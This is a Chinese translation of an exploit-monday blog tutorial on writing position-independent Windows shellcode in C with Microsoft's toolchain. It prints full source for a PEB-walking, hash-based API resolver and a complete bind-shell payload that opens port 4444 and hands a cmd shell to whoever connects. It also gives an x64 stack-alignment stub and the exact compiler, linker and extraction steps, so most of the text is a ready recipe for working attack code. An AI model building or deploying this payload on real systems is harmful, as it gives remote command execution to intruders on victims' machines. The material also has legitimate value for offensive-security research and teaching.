引言
我得首先承认,编写shellcode真是让人郁闷极了。虽然可以利用些小技巧来减小payload的大小,但编写shellcode仍然会错误百出,难以维护。例如,我发现跟踪x86中寄存器的分配,确保x86_64栈的对齐真的是件蛋疼的事。最终我还是腻了,但回头想想:为啥就不能用C写shellcode payload,让编译器和链接器来接管处理剩下的活呢?这样的话,只需写一次payload,就能运用到任何的体系结构上————像x86、x86_64以及ARM这些。同时,也可以获得如下的好处:
1. 运用静态分析工具分析payload 2. 进行单元测试 3. 利用编译器、链接器来优化payload 4. 编译器在速度、大小方面的优化比你在行 5. 利用Visual Studio来写payload,智能化万岁!
考虑到已经写了许多Windows下的shellcode,我决定挑战一下仅用微软工具来生成位置无关的shellcode。可最基本的问题是,微软的C编译器cl.exe无法生成位置无关的代码(除了面向Itanium的Visual C++编译器)。终究,我们需要依赖C代码的技巧和一些精心配置的编译器、链接器选项来完成任务。
Shellcode的根本
编写shellcode时,无论是用C还是汇编,以下是必须要注意的地方:
1、必须位置无关
多数情况下,你无法提前知晓你的shellcode被加载到何处。所以,所有的分支指令以及那些对内存解引用的指令,都必须相对于加载的基址得以执行。gcc编译器有生成位置独立代码的选项,但很不幸,微软的编译器没有。
2、Payload需要自己解析外部引用
如果想要payload做些有用的事,就需要调用Win32 API函数。一般在可执行文件中,对外部符号的引用通过这样的方式得到:要么是加载器启动时遍历导入表获取的,要么就是运行时通过GetProcAddress动态获取。而Shellcode既不能被加载器加载,也不能调用GetProcAddress,因为它压根不知道kernel32!GetProcAddress的地址,典型的先有鸡还是先有蛋的难题啊。
为了获取到库函数的地址,shellcode只能靠自己。在shellcode中,典型的解决方法是:某函数以32位的模块hash和函数名hash作为形参,获取到PEB(进程环境块)地址,遍历已加载模块的链表,扫描每个模块的导出函数表,对每个函数名进行hash,并同提供的hash进行比对,如果匹配找到了,那么通过加载模块的基址加上RVA即可获取函数地址。很显然,这里为了节省篇幅,我省略了该过程的很多细节,不过这些已经被广泛的使用(如Metasploit),也有很好的文档说明。
3、Payload需要处理好栈和寄存器的状态,及时的保存、恢复
这些在我们用C写payload时,就由编译器自动的完成了。
用C实现的GetProcAddressWithHash函数
上面提到的下载中,GetProcAddressWithHash函数用于获取Win32 API导出函数的地址,由汇编版的Metasploit block_api调整而来:
#include <windows.h> #include <winternl.h> // This compiles to a ROR instruction // This is needed because _lrotr() is an external reference // Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms. #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) // Redefine PEB structures. The structure definitions in winternl.h are incomplete. typedef struct _MY_PEB_LDR_DATA { ULONG Length; BOOL Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA; typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash ) { PPEB PebAddress; PMY_PEB_LDR_DATA pLdr; PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry; PVOID pModuleBase; PIMAGE_NT_HEADERS pNTHeader; DWORD dwExportDirRVA; PIMAGE_EXPORT_DIRECTORY pExportDir; PLIST_ENTRY pNextModule; DWORD dwNumFunctions; USHORT usOrdinalTableIndex; PDWORD pdwFunctionNameBase; PCSTR pFunctionName; UNICODE_STRING BaseDllName; DWORD dwModuleHash; DWORD dwFunctionHash; PCSTR pTempChar; DWORD i; #if defined(_WIN64) PebAddress = (PPEB) __readgsqword( 0x60 ); #elif defined(_M_ARM) // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes // necessary to get the PEB.Ldr address PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0); __emit( 0x00006B1B ); #else PebAddress = (PPEB) __readfsdword( 0x30 ); #endif pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr; pNextModule = pLdr->InLoadOrderModuleList.Flink; pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule; while (pDataTableEntry->DllBase != NULL) { dwModuleHash = 0; pModuleBase = pDataTableEntry->DllBase; BaseDllName = pDataTableEntry->BaseDllName; pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew); dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress; // Get the next loaded module entry pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink; // If the current module does not export any functions, move on to the next module. if (dwExportDirRVA == 0) { continue; } // Calculate the module hash for (i = 0; i < BaseDllName.MaximumLength; i++) { pTempChar = ((PCSTR) BaseDllName.Buffer + i); dwModuleHash = ROTR32( dwModuleHash, 13 ); if ( *pTempChar >= 0x61 ) { dwModuleHash += *pTempChar - 0x20; } else { dwModuleHash += *pTempChar; } } pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA); dwNumFunctions = pExportDir->NumberOfNames; pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames); for (i = 0; i < dwNumFunctions; i++) { dwFunctionHash = 0; pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase); pdwFunctionNameBase++; pTempChar = pFunctionName; do { dwFunctionHash = ROTR32( dwFunctionHash, 13 ); dwFunctionHash += *pTempChar; pTempChar++; } while (*(pTempChar - 1) != 0); dwFunctionHash += dwModuleHash; if (dwFunctionHash == dwModuleFunctionHash) { usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i)); return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex))); } } } // All modules have been exhausted and the function was not found. return NULL; }
从上到下,有几点需要注意:
1. 我定义了ROTR32宏
Metasploit版本的实现中使用了一个循环右移hash函数,可在C中没有循环右移的运算符。有几个循环右移的编译器指令,但无法在不同的处理器体系结构中保持一致。ROTR32宏定义利用了C语言中可用的逻辑运算符实现了循环右移的功能。更酷的是,编译器会晓得该宏实现循环右移的操作,并将其编译成单条循环右移汇编指令。真是太棒了!
2. 我重定义了结构体
这两个结构体在winternl.h中都有定义,但微软的公开定义不完整,所以我按照自己所需进行了重定义。
3. 根据所针对的处理器体系结构选择不同的方法来获取PEB地址
PEB地址的获取是获取导出函数地址的第一步。PEB是个结构体,它包含了几个指向进程已加载模块的指针。在x86和x86_64中,PEB地址可分别通过解引用fs、gs段寄存器的某个偏移获取。在ARM上,通过读取系统控制处理器(CP15)中特定的寄存器获取。幸运的是,编译器内置了对每个处理器体系结构的处理。不管怎样,编译器无法生成正确的ARM汇编指令,所以我以不合常规的方式对指令进行了调整。
用C实现基本的Payload
这里我用一个简单的bind shell payload为例,下面是我用C的实现:
#define WIN32_LEAN_AND_MEAN #pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union' #include "GetProcAddressWithHash.h" #include "64BitHelper.h" #include <windows.h> #include <winsock2.h> #include <intrin.h> #define BIND_PORT 4444 #define HTONS(x) ( ( (( (USHORT)(x) ) >> 8 ) & 0xff) | ((( (USHORT)(x) ) & 0xff) << 8) ) // Redefine Win32 function signatures. This is necessary because the output // of GetProcAddressWithHash is cast as a function pointer. Also, this makes // working with these functions a joy in Visual Studio with Intellisense. typedef HMODULE (WINAPI *FuncLoadLibraryA) ( _In_z_ LPTSTR lpFileName ); typedef int (WINAPI *FuncWsaStartup) ( _In_ WORD wVersionRequested, _Out_ LPWSADATA lpWSAData ); typedef SOCKET (WINAPI *FuncWsaSocketA) ( _In_ int af, _In_ int type, _In_ int protocol, _In_opt_ LPWSAPROTOCOL_INFO lpProtocolInfo, _In_ GROUP g, _In_ DWORD dwFlags ); typedef int (WINAPI *FuncBind) ( _In_ SOCKET s, _In_ const struct sockaddr *name, _In_ int namelen ); typedef int (WINAPI *FuncListen) ( _In_ SOCKET s, _In_ int backlog ); typedef SOCKET (WINAPI *FuncAccept) ( _In_ SOCKET s, _Out_opt_ struct sockaddr *addr, _Inout_opt_ int *addrlen ); typedef int (WINAPI *FuncCloseSocket) ( _In_ SOCKET s ); typedef BOOL (WINAPI *FuncCreateProcess) ( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation ); typedef DWORD (WINAPI *FuncWaitForSingleObject) ( _In_ HANDLE hHandle, _In_ DWORD dwMilliseconds ); // Write the logic for the primary payload here // Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT // Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue. VOID ExecutePayload( VOID ) { FuncLoadLibraryA MyLoadLibraryA; FuncWsaStartup MyWSAStartup; FuncWsaSocketA MyWSASocketA; FuncBind MyBind; FuncListen MyListen; FuncAccept MyAccept; FuncCloseSocket MyCloseSocket; FuncCreateProcess MyCreateProcessA; FuncWaitForSingleObject MyWaitForSingleObject; WSADATA WSAData; SOCKET s; SOCKET AcceptedSocket; struct sockaddr_in service; STARTUPINFO StartupInfo; PROCESS_INFORMATION ProcessInformation; // Strings must be treated as a char array in order to prevent them from being stored in // an .rdata section. In order to maintain position independence, all data must be stored // in the same section. Thanks to Nick Harbour for coming up with this technique: // http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/ char cmdline[] = { 'c', 'm', 'd', 0 }; char module[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 }; // Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module SecureZeroMemory(&StartupInfo, sizeof(StartupInfo)); SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); #pragma warning( push ) #pragma warning( disable : 4055 ) // Ignore cast warnings // Should I be validating that these return a valid address? Yes... Meh. MyLoadLibraryA = (FuncLoadLibraryA) GetProcAddressWithHash( 0x0726774C ); // You must call LoadLibrary on the winsock module before attempting to resolve its exports. MyLoadLibraryA((LPTSTR) module); MyWSAStartup = (FuncWsaStartup) GetProcAddressWithHash( 0x006B8029 ); MyWSASocketA = (FuncWsaSocketA) GetProcAddressWithHash( 0xE0DF0FEA ); MyBind = (FuncBind) GetProcAddressWithHash( 0x6737DBC2 ); MyListen = (FuncListen) GetProcAddressWithHash( 0xFF38E9B7 ); MyAccept = (FuncAccept) GetProcAddressWithHash( 0xE13BEC74 ); MyCloseSocket = (FuncCloseSocket) GetProcAddressWithHash( 0x614D6E75 ); MyCreateProcessA = (FuncCreateProcess) GetProcAddressWithHash( 0x863FCC79 ); MyWaitForSingleObject = (FuncWaitForSingleObject) GetProcAddressWithHash( 0x601D8708 ); #pragma warning( pop ) MyWSAStartup( MAKEWORD( 2, 2 ), &WSAData ); s = MyWSASocketA( AF_INET, SOCK_STREAM, 0, NULL, 0, 0 ); service.sin_family = AF_INET; service.sin_addr.s_addr = 0; // Bind to 0.0.0.0 service.sin_port = HTONS( BIND_PORT ); MyBind( s, (SOCKADDR *) &service, sizeof(service) ); MyListen( s, 0 ); AcceptedSocket = MyAccept( s, NULL, NULL ); MyCloseSocket( s ); StartupInfo.hStdError = (HANDLE) AcceptedSocket; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket; StartupInfo.hStdInput = (HANDLE) AcceptedSocket; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.cb = 68; MyCreateProcessA( 0, (LPTSTR) cmdline, 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation ); MyWaitForSingleObject( ProcessInformation.hProcess, INFINITE ); }
写payload时,有几点我需要提醒一下,以便满足位置无关代码的需求:
1. 我把HTONS定义成了宏
将其定义为宏,相对于调用ws2_32.dll!htons会更简单一点。此外,HTONS本身所做的就是将USHORT从主机序转化为网络序,所以定义为宏会更合适点。
2. 另定义了Win32 API函数
这是必须的,因为GetProcAddressWithHash的调用需要转换为函数指针。此外,在Visual Studio中调用这些函数指针就和调用普通的Win32函数一样方便。这是用汇编编写时的边猜测、边检查所不能比的。
3. ExecutePayload函数实现了bind shell的基本逻辑功能
通常都需要调用main函数。我所遇到的一个问题就是,当链接器发现main函数时,就会链接C运行库。很明显,shellcode不应该也没必要用C运行库。所以,将入口点命名为main之外的名称,并显式地告诉链接器入口点函数,以免链接了C运行时库。
4. 将”cmd”和”ws2_32.dll”显式地声明为null结尾的字符数组
该方法首先由Nick Harbour提出,使得编译器在栈区保存字符串。默认地,字符串存储在二进制文件的.rdata段中,任何对这些的字符的引用都在可执行文件中进行了重定位。将字符串存放在栈区,使得引用做到了位置无关。
5. SecureZeroMemory用于初始化栈区变量
SecureZeroMemory功能和memset一样,是内联函数,所以省得我花力气去获取memset的地址了。
6. Payload中剩余部分就是一般的C了,只不过有点恶意而已。
确保64位Shellcode中的栈对齐
32位体系结构(如x86和ARMv7)要求函数调用时栈上4字节对齐。Shellcode以4字节对齐这一点是可以得到保证的。而64位的shellcode,需要16字节的栈对齐。这是由使用128位XMM寄存器所决定的。已写过64位shellcode的朋友可能经历过调用Win32函数时因指令使用了XMM寄存器而crash的情况,这正是栈没有对齐的缘故。
可执行文件加载时在C运行库初始化期间得到了对齐,而shellcode就没这么幸运了。所以我写了一小段汇编来确保shellcode在64位机器上能够正确的栈对齐。在Visual Studio编译前,我将此shellcode用mI64进行了汇编,并把所得目标文件作为链接的一部分。
下面是对齐的实现代码:
EXTRN ExecutePayload:PROC PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function ; to be called as an extern in our C code. _TEXT SEGMENT ; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior ; to calling the entry point of the payload. This is necessary because 64-bit functions ; in Windows assume that they were called with 16-byte stack alignment. When amd64 ; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example, ; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely ; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte) ; alignment. AlignRSP PROC push rsi ; Preserve RSI since we're stomping on it mov rsi, rsp ; Save the value of RSP so it can be restored and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes sub rsp, 020h ; Allocate homing space for ExecutePayload call ExecutePayload ; Call the entry point of the payload mov rsp, rsi ; Restore the original value of RSP pop rsi ; Restore RSI ret ; Return to caller AlignRSP ENDP _TEXT ENDS END
在这里,保存了原始栈值,将栈指针RSP进行与操作,以便获得16字节对齐,分配空间,然后调用原来的入口函数ExecutePayload。
还用C写了一个小的函数来调用AlignRSP:
#if defined(_WIN64) extern VOID AlignRSP( VOID ); VOID Begin( VOID ) { // Call the ASM stub that will guarantee 16-byte stack alignment. // The stub will then call the ExecutePayload. AlignRSP(); } #endif
这个函数将作为链接器指定的入口函数,稍后我来简单的解释下为何该函数是必须的。
编译Shellcode
在Visual Studio 2012项目中使用如下的编译器命令行编译选项
/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os
这里将每个选项都解释一下,它们影响着生成的shellcode:
/GS-: 禁用栈区缓冲溢出检查。如果开启了,会调用外部的栈区处理函数,破坏了shellcode的位置无关性。
/TC: 告诉编译器将所有文件当作C源码文件。该选项的隐含意思是所有的局部变量都要定义在函数的开头,否则,编译时会出错。
/GL:对程序进行整体优化。该选项告诉链接器(通过/LTGC选项)在函数调用间进行优化。这里我想对shellcode进行完全的优化。
/W4:开启最高的告警等级。这是好的习惯。
/O1: 获取较小而非快的代码,这正是shellcode的理想情况。
/FA: 输出汇编列表文件。这不是必须的,我比较喜欢对编译器生成的汇编代码进行验证。
/Zl: 从目标文件中去除默认的C运行库,这是告诉链接器不要链接C运行库。
/Os: 另一种让编译器生成小代码的方式。
Shellcode的链接
下面的链接器(linker.exe)选项分别用于x86/ARM和x86_64:
/LTCG /ENTRY:"ExecutePayload" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB
/LTCG "x64\Release\\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB
这里将每个选项都来解释一下,它们影响着生成的shellcode。
/LTCG:开启链接器的全部优化功能。编译器在函数间调用优化方面几乎不起作用,这是因为编译器是以函数为基础的。所以,链接器就很适合进行函数间调用的优化,因为它处理所有由编译器生成的目标文件。
/ENTRY: 指定文件的入口点。在x86和ARM中就是实现bind shell逻辑的ExecutePayload函数。而在x86_64中,则是Begin函数,它调用AlignRSP函数进行栈对齐操作。它之所以是必须的,是因为最终要生成shellcode, 我们不得不通过/ORDER显式地设置链接顺序。而在微软的链接器中是不允许你为外部函数指定链接顺序的。为了解决该问题,我简单的将AlignRSP进行了封装。Begin作为链接的第一个函数。这样,它就是shellcode中第一个调用的。
/OPT: REF:清除那些从未使用的函数、数据。我们希望shellcode越小越好。通过该选项就可以通过清除无用的函数、数据来减小shellcode大小。
/SAFESEH:NO:不生成SafeSEH处理程序。Shellcode没有必要注册异常处理。
/SUBSYSTEM:CONSOLE:只要shellcode能运行,是啥子系统就无所谓了。设置成“CONSOLE”,可以利用命令行进行测试。
/MAP: 生成map文件。该文件用于获取shellcode的大小。
/ORDER:因为要生成shellcode,所以函数链接的顺序就尤为重要。起初我以为入口点函数会是第一个链接的。但并不是这样的。/ORDER选项指定了一个包含函数链接顺序的文件。你会发现文件中列表的第一个就是入口点函数。
/OPT:ICF:删除冗余的函数。为可选项。
/NODEFAULTLIB: 显式的告诉链接器在解析外部引用时,不要使用默认的库。如果你在代码中有外部引用,该选项就非常有用了。 链接器会抛出错误,引起你的注意。
提取Shellcode
代码编译、链接之后,最后一步就是从exe文件中提取出shellcode了。这需要一个解析PE文件的工具,从代码段中提取出相关字节。 方便的是,Get-PEHeader已经解决了此问题。要说明的一点是如果你要提取出整个的代码段,剩下的会被0填充掉。所以我写了另外一个脚本来解析map文件,它包含了代码段中的实际长度。
如果大伙喜欢分析PE文件,好好的分析一下所生成的exe文件真的很值得。仅包含代码段,可选头的数据目录中没有任何的数据。这正是我所追寻的——没有任何重定位,额外的节或者导入表的二进制文件。
编译PIC_Binshell
提供的PIC_Bindshell.zip中有个Visual Studio 2012项目,在VS2012 Express和旗舰版中测试通过。在Visual Studio中加载sln文件,选择相应的体系结构,然后编译。输出一个exe文件和一个shellcode payload文件。
Visual Studio 2012的Express版本不支持对ARM的编译。如果你是第一次编译ARM,会出现如下的错误:
C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.ARM.v110.targets(36,5): error MSB8022: Compiling Desktop applications for the ARM platform is not supported.
从“C:\Program Files(x86)\Microsoft Visual Studio 11.0\VC\includecrtdefs.h”中删除下面一行:
#error Compiling Desktop applications for the ARM platform is not supported.
删除这些行,重启Visual Studio,就解决了。
写在最后
对微软编译器、链接器的协同工作有个深刻的理解能帮我们用C写出完全优化的Windows Shellcode,同时能够支持任意的处理器架构。但这并不是说你就没有必要去深刻理解汇编语言。只是我们没必要浪费时间一点点的写大量的汇编代码。同时我也相信编译器有一天会胜过大脑的。
对了,我的64位shellcode中用到了XMM寄存器,你用了吗?
来源声明:本文来自exploit-monday的博文《Writing Optimized Windows Shellcode in C》,由IDF实验室徐文博翻译。